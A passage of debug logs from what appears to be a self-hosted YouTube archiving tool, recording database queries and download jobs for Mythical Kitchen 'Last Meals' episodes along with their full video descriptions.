meal.\n\nLEGO Star Wars: Rebuild the Galaxy” – “Four-piece” animated special is now streaming on Disney+!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Gaten's Last Meal\n1:26 Have You Thought About Your Last Meal Before?\n3:01 1st Course\n5:54 Joining The Star Wars Story\n8:09 Audition Setbacks At A Young Age\n12:01 2nd Course\n13:46 The End Of Stranger Things\n15:39 Stranger Things College\n19:00 Backstage At Sweeney Todd\n19:50 3rd Course\n20:58 Poison & Poop Handshakes\n22:43 New Food Break Rule\n23:37 Growing Up With Cleidocranial Dysplasia\n29:26 4th Course\n32:19 Dealing With Death\n34:40 Spirituality & What Happens After Death\n38:43 Lightning Round\n41:23 Gaten's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UT (truncated) 20:48:56.764 [debug] QUERY OK source="sources" db=0.3ms idle=617.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:56.765 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:56.766 [debug] QUERY OK source="media_items" db=0.4ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [92] 20:48:56.766 [info] Kicking off download for media item #92 (RG_jhSou0S4) 20:48:56.768 [debug] QUERY OK source="tasks" db=0.2ms idle=3.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [91, 92, ~U[2026-03-28 00:48:56Z], ~U[2026-03-28 00:48:56Z]] 20:48:56.769 [debug] Current batch of media processed. Will check again in 1000ms 20:48:57.769 [debug] Current batch of media processed. Will check again in 1000ms 20:48:58.572 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:58.770 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking MatPat's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 MatPat's Last Meal\n1:27 Life, Death, & Optimization\n2:13 1st Course - Sushi & Oysters\n4:43 How Do You Want To Die?\n7:31 2nd Course - Fancy Big Mac, Swamp Water, & Dad's Ribs\n10:30 Always Be Your Shameless Self\n11:30 10 Weeks To Say Goodbye\n12:57 An Analogy For Parasocial Relationships\n15:52 3rd Course - Mystery Sampler Platter\n21:02 Designing an Award-Winning Trebuchet\n21:36 A Shift In Priorities\n22:17 Navigating Death During New Life\n24:16 A Theory For Toxic Commenters\n26:01 4th Course - Baked Alaska, Hot Chocolate, Handel's Ice Cream, & Grandma's Gobs\n31:10 What Happens When You Die?\n33:24 Lightning Round\n36:11 MatPat's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2269, "filename" => "/downloads/Last Meals/2024-04-16 MatPat Eats His Last Meal/MatPat Eats His Last Meal [yKiFpDAcOyU].mp4", "id" => "yKiFpDAcOyU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yKiFpDAcOyU", "playlist_index" => 78, "timestamp" => 1713261653, "title" => "MatPat Eats His Last Meal", "upload_date" => "20240416"} 20:48:58.770 [debug] QUERY OK source="sources" db=0.1ms idle=713.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:58.771 [debug] QUERY OK source="sources" db=0.0ms idle=713.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:58.771 [debug] QUERY OK source="media_items" db=0.2ms idle=713.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-16 10:00:53Z], 1] 20:48:58.772 [debug] QUERY OK source="media_items" db=1.0ms idle=621.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking MatPat's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 MatPat's Last Meal\n1:27 Life, Death, & Optimization\n2:13 1st Course - Sushi & Oysters\n4:43 How Do You Want To Die?\n7:31 2nd Course - Fancy Big Mac, Swamp Water, & Dad's Ribs\n10:30 Always Be Your Shameless Self\n11:30 10 Weeks To Say Goodbye\n12:57 An Analogy For Parasocial Relationships\n15:52 3rd Course - Mystery Sampler Platter\n21:02 Designing an Award-Winning Trebuchet\n21:36 A Shift In Priorities\n22:17 Navigating Death During New Life\n24:16 A Theory For Toxic Commenters\n26:01 4th Course - Baked Alaska, Hot Chocolate, Handel's Ice Cream, & Grandma's Gobs\n31:10 What Happens When You Die?\n33:24 Lightning Round\n36:11 MatPat's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "MatPat Eats His Last Meal", "1d50fa2a-4b0e-4f59-8b7e-7711714f0c2a", "https://www.youtube.com/watch?v=yKiFpDAcOyU", false, "yKiFpDAcOyU", 2269, false, 78, "/downloads/Last Meals/2024-04-16 MatPat Eats His Last Meal/MatPat Eats His Last Meal [yKiFpDAcOyU].mp4", false, false, 1, [], 0, ~U[2024-04-16 10:00:53Z], ~U[2026-03-28 00:48:58Z], ~U[2026-03-28 00:48:58Z], "Today, Josh is cooking MatPat's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 MatPat's Last Meal\n1:27 Life, Death, & Optimization\n2:13 1st Course - Sushi & Oysters\n4:43 How Do You Want To Die?\n7:31 2nd Course - Fancy Big Mac, Swamp Water, & Dad's Ribs\n10:30 Always Be Your Shameless Self\n11:30 10 Weeks To Say Goodbye\n12:57 An Analogy For Parasocial Relationships\n15:52 3rd Course - Mystery Sampler Platter\n21:02 Designing an Award-Winning Trebuchet\n21:36 A Shift In Priorities\n22:17 Navigating Death During New Life\n24:16 A Theory For Toxic Commenters\n26:01 4th Course - Baked Alaska, Hot Chocolate, Handel's Ice Cream, & Grandma's Gobs\n31:10 What Happens When You Die?\n33:24 Lightning Round\n36:11 MatPat's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F5 (truncated) 20:48:58.772 [debug] QUERY OK source="sources" db=0.0ms idle=199.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:58.772 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:58.773 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93] 20:48:58.773 [info] Kicking off download for media item #93 (yKiFpDAcOyU) 20:48:58.774 [debug] QUERY OK source="tasks" db=0.0ms idle=1.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [92, 93, ~U[2026-03-28 00:48:58Z], ~U[2026-03-28 00:48:58Z]] 20:48:58.774 [debug] Current batch of media processed. Will check again in 1000ms 20:48:59.775 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Seth Rollins' last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nTimestamps\n0:00 Seth's Last Meal Menu\n0:36 Iowa Hardcore Scene\n1:55 How Often Do You Think About Death?\n2:39 New Last Meals Hat & Tee\n3:06 1st Course - BLT, Corn On The Cob, Pizza Rolls, Spicy Doritos, & Pepsi\n3:32 Childhood Memories\n4:49 Seth's First Personas\n6:19 Preeminent Corn Critic\n7:05 Big Brothers & Magic The Gathering \n8:05 Pizza Rolls Technique \n8:40 Madden Football & Spicy Doritos\n10:40 2nd Course - Ribeye, Fatty Tuna, & Sake\n11:32 Jiro Dreams of Sushi & Discovering A Hidden Gem\n14:18: Being A Heel And Human Morality\n15:10 Physical Peak Vs. Mental Peak\n16:52 3rd Course - Enchiladas, Fideo, & Detroit Style Pizza\n17:32 Growing Up In a Half-Mexican Household\n18:11 Father Figures & Parkinson's Disease\n20:01 Learning To Love The Midwest\n21:21 Self-Loathing\n22:31 The Marvel Movie Experience\n23:52 4th Course - Hooters Buffalo Shrimp & Budweiser\n23:57 History With Hooters\n25:42 Josh's Wrestling Persona (Alpha Baby)\n27:50 Seth's Wrestling School\n28:23 Committing To The Character\n30:13 The Future Of Technology & Content\n31:33 5th Course - Salt & Straw Ice Cream & Pumpkin Pie\n32:21 Loving Salt & Straw\n33:24 Did Becoming A Dad Make You More Cautious?\n34:54 The Future Of Seth's Career\n35:19 Grieving The Loss Of Bray Wyatt\n38:39 Lightning Round - Who Would You Share Your Last Meal With?\n38:58 What Song Do You Want Played at Your Funeral?\n39:21 Which Wrestler, Dead or Alive, Would You Choose For A Hell In A Cell Match?\n39:35 Who Plays You In The Biopic?\n39:52 Logan Paul Or Jake Paul?\n39:57 Could You Beat Logan Paul In A Street Fight?\n40:23 What's Your Biggest Fear?\n40:38 What's Your Biggest Regret In Life?\n41:00 Are You Happy?\n41:52 Seth's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDK" <> ..., "duration" => 2572, "filename" => "/downloads/Last Meals/2023-10-31 WWE’s Seth Rollins Eats His Last Meal/WWE’s Seth Rollins Eats His Last Meal [Eh2jUzJ-qWs].mp4", "id" => "Eh2jUzJ-qWs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Eh2jUzJ-qWs", "playlist_index" => 79, "timestamp" => 1698746414, "title" => "WWE’s Seth Rollins Eats His Last Meal", "upload_date" => "20231031"} 20:48:59.776 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:59.777 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS 